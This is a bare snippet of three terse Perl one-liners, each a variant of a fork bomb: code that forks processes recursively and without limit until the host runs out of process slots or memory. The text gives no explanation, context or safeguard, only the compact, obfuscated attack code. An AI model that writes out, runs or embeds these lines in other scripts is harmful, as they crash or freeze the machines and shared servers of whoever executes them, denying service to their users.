_:{fork and _ and redo}
$_=sub {fork and $_->()};$_->();
sub _{fork and &_}_;